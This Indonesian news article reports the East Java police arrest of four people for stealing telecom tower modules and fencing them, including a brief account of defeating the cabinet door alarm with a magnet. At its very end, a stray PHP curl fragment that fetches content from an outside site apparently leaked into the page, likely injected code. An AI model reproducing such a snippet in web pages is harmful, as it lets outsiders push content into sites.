Subdit III Jatanras Polda Jatim Ungkap Kasus pencurian Baterai Tower Beserta Penadahnya

Rabu, 2 Oktober 2024

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Surabaya | jejakkasus.info – Tim Subdit II/Jatanras Ditreskrimum Polda Jatim berhasil ungkap kasus tindak pidana pencurian dengan pemberatan (curat) dan tindak pidana persekongkolan jahat / penadah sebagaimana dimaksud dalam pasal 363 KUHP dan 480 KUHP.

Polisi berhasil mengamankan empat pelaku diantaranya,

ASH (30 asal Kab. Pamekasan, MHA (22) pelajar/mahasiswa asal Kab. Pamekasan, RWT (46) pekerjaan sopir asal Kota Surabaya dan ASN (28) pelajar/mahasiswa, asal Kab. Jombang.

“Dari keempatnya mempunyai peran masing-masing, tersangka ASH berperan sebagai pemetik, MHA berperan sebagai sopir dan mengawasi pada saat pencurian, RWT dan ASN sebagai pembeli barang hasil kejahatan / pencurian dari ASH dan MHA,” jelas Kasubdit III Jatanras Ditreskrimum Polda Jatim, AKBP Jumhur.

Baca Juga:  Peringatan Hari Lahir Pancasila di Polres Bandara Ngurah Rai

Modus Operandi Tersangka ASH dan MHA Melakukan pencurian dengan cara memasuki perkarangan tower dan membuka pintu kotak dengan menggunakan kunci master.

Setelah berhasil menempelkan satu buah magnet door open of switch pintu dengan tujuan supaya tidak muncul alarm door open di help desk Telkomsel. Dan kemudian melonggarkan baut yang mengunci UBBP.

Menunjukkan barang bukti
“Setelah semua terlepas ASH mencabut 2 UBBP besrta SFP. Sedangkan MHA menyopir sarana dan mengawasi pada saat melakukan pencurian,” terangnya.

Baca Juga:  Dugaan Keterlibatan Wabup Blitar di Mafia Peradilan

Tersangka telah membeli barang hasil kejatan / pencunan yang dilakukan oleh ASH yang kemudian barang tersebut akan dijual kembali oleh tersangka.

“Tersangka telah membeli barang hasil kejahatan/pencurian yang dilakukan oleh ASH yang kemudian barang tersebut akan dijual kembali oleh tersangka,”papar Jumhur saat realis di gedung bidhumas Polda Jatim.

Dari penangkapan itu aparat berhasil mengamankan barang bukti 1 (satu) unit mobil Daihatsu Sigra warna putih Noka MHKS6GJ6JMJ094155 Nosin 3NRH575032 Nopol M-1941-AW. 1 (satu) unit kunci mobil Daihatsu Sigra wama putih dengan gantungan, dompet cokelat.

Baca Juga:  Pemdes Kalang Anyar adakan Musyawarah Pra Pelaksanaan Untuk Pembangunan Di Tahun 2024

1 (satu) buah magnet, 1 (satu) buah hp merk Infinix X680B wama hijau, 2 (dua) buah kunci master, 1 (satu) buah tang besar, 1 (satu) buah tang potong warna kuning hitam ;1 (satu) buah hp merk Samsung A12 warna biru, 2 (dua) buah UBPP; 1 (satu) unit hp merk Oppo warna ungu;

1 (satu) unit Metro EATN910C-G, SN 102315886314, 4 (empat unit SFP 10 GB/10 Km; 1 (satu) bauh umpt G2; 1(satu) buan ho Samsung Galaxy Note 10 5g warna hitam.(msd)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Ditresnarkoba Diringkus Polda Babel Miliki 2,6 Kg Sabu 14 Kg Ganja
Gegara Pokmas Tidak Pegang (RAB) Proyek SDN Kandangan 1 Senduro Kisruh, Pihak Sekolah Diundang Inspektorat
Satsamapta Polres Situbondo Polda Jatim Gerak Cepat (Gercep), Respon Laporan Masyarakat Terkait Peredaran Miras
Rayon Barat Polresta Sidoarjo Apel Bersama Oprasi Cooling System Tahun 2024 .
Wahyudi Dengan Tegas Menolak Kebijakan Pemerintah Yang Menaikan E Retribusi Di Situasi-Kondisi Pasar Sepi Dan Memprihatinkan Saat Ini
Waka II DPRD Badung I Made Wijaya Soroti: Peraturan Berbenturan,Nasib Tanah Negara Di Pererenan Menggantung
Kompol Muhammad Mukid Sosialisasi Penyebaran Narkoba Ke Pelajar
Personel Polsek Krueng Sabee Laksanakan Patroli KRYD, Sisir Lokasi Strategis untuk Jaga Keamanan

Berita Terkait

Jumat, 4 Oktober 2024 - 11:38 WIB

Ditresnarkoba Diringkus Polda Babel Miliki 2,6 Kg Sabu 14 Kg Ganja

Jumat, 4 Oktober 2024 - 00:48 WIB

Gegara Pokmas Tidak Pegang (RAB) Proyek SDN Kandangan 1 Senduro Kisruh, Pihak Sekolah Diundang Inspektorat

Jumat, 4 Oktober 2024 - 00:47 WIB

Satsamapta Polres Situbondo Polda Jatim Gerak Cepat (Gercep), Respon Laporan Masyarakat Terkait Peredaran Miras

Kamis, 3 Oktober 2024 - 18:47 WIB

Wahyudi Dengan Tegas Menolak Kebijakan Pemerintah Yang Menaikan E Retribusi Di Situasi-Kondisi Pasar Sepi Dan Memprihatinkan Saat Ini

Kamis, 3 Oktober 2024 - 16:44 WIB

Waka II DPRD Badung I Made Wijaya Soroti: Peraturan Berbenturan,Nasib Tanah Negara Di Pererenan Menggantung

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>